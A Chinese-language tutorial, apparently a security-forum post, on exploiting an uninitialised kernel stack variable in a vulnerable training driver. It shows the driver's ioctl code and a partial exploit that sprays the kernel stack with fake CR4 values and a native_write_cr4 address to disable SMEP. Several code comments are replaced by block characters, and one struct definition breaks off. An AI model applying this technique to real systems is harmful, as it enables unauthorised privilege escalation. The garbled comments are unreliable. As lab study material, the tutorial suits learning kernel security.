

说明：实验所需的驱动源码、bzImage、cpio文件见[我的github](#)进行下载。本教程适合对漏洞提权有一定了解的同学阅读，具体可以看看我先知之前的文章，或者[我的简书](#)

一、漏洞分析

1. 程序分析

总共两个驱动号，对应两个功能。

```

case UNINITIALISED_STACK_ALLOC:
{
    ret = copy_to_stack((char *)p_arg);
    break;
}
case UNINITIALISED_STACK_USE:
{
    use_obj_args use_obj_arg;

    if(copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
        return -EINVAL;

    use_stack_obj(&use_obj_arg);

    break;
}

```

第1个功能->UNINITIALISED_STACK_ALLOC

```
// ████████: ██████████4096████████████████████  
#define BUFF_SIZE 4096  
  
noinline static int copy_to_stack(char __user *user_buff)  
{  
    int ret;  
    char buff[BUFF_SIZE];  
  
    ret = copy_from_user(buff, user_buff, BUFF_SIZE);  
    buff[BUFF_SIZE - 1] = 0;  
  
    return ret;  
}
```

第2个功能-> UNINITIALISED_STACK_USE

```
// ██████: ██████████  
noinline static void use_stack_obj(use_obj_args *use_obj_arg)  
{  
    volatile stack_obj s_obj; //volatile████████████████████████████████████████  
  
    if(use_obj_arg->option == 0)  
    {  
        s_obj.fn = uninitialised_callback;  
        s_obj.fn_arg = use_obj_arg->fn_arg;  
    }  
  
    s_obj.fn(s_obj.fn_arg);  
  
}  
  
// ████  
typedef struct stack_obj  
{  
    int do_callback;  
    long fn_arg;
```

2. 漏洞分析

利用：构造(use_obj_arg->option != 0)，产生内核栈变量未初始化引用错误。本驱动其实简化了漏洞利用过程，因为可以直接利用驱动号UNINITIALISED_STACK_ALLOC来布置内核栈，不需要考虑用系统调用

二、漏洞利用

1. 利用步骤

(1) 单核执行

(2) 泄露内核基址

(3) 关闭smep

利用UNINITIALISED_STACK_ALLOC功能在内核栈上布置目标函数和所需参数，这样在发生栈变量未初始化使用时就会触发执行目标函数。

```
// step 3: ■■■smep
char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj={
    .option=1,
    .fn_arg=1337,
};

for (int i=0; i<4096; i+=16)
{
    memcpy(buf+i, &fake_cr4, 8);    // ■■■fake_cr4■■■■
    memcpy(buf+i+8, &native_write_cr4_addr, 8); // ■■■native_write_cr4_addr■■■■
}
```


- [动动手指，沙发就是你的了！](#)

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)